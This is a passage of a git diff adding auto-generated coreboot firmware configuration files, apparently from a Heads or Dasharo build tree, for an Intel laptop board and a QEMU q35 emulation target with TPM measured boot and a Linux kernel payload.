+CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_SYSTEM76_EC=y +CONFIG_EC_SYSTEM76_EC_DGPU=y + +# +# Intel Firmware +# CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" + +# +# Dasharo +# + +# +# Dasharo Configuration +# +CONFIG_DASHARO_PREFER_S3_SLEEP=y +# end of Dasharo Configuration + +CONFIG_UDK_BASE=y +CONFIG_UDK_202005_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202005 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +CONFIG_NO_UART_ON_SUPERIO=y +CONFIG_DRIVERS_UART_8250MEM=y +CONFIG_DRIVERS_UART_8250MEM_32=y +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_3=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_FSPS_HAS_ARCH_UPD=y +CONFIG_FSPS_USE_MULTI_PHASE_INIT=y +CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_DRIVERS_INTEL_PMC=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V2=y +CONFIG_DRIVERS_INTEL_USB4_RETIMER=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +CONFIG_INTEL_TXT_LIB=y +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_FIXED_UART_FOR_CONSOLE=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_CONSOLE_SYSTEM76_EC is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index f2fe3cc00..13272f334 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -1,30 +1,571 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_CBMEM_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="emulation/qemu-q35" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Emulation" CONFIG_CBFS_SIZE=0x980000 # CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x2c +# CONFIG_CHROMEOS is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set +# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set +# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0x10000 +CONFIG_DCACHE_RAM_SIZE=0x90000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PCIEXP_HOTPLUG_BUSES=32 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set CONFIG_COREBOOT_ROMSIZE_KB_10240=y +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=10240 +CONFIG_ROM_SIZE=0x00a00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_QEMU_X86=y +# CONFIG_CPU_QEMU_X86_NO_SMM is not set +CONFIG_CPU_QEMU_X86_ASEG_SMM=y +# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_UNKNOWN_TSC_RATE=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# 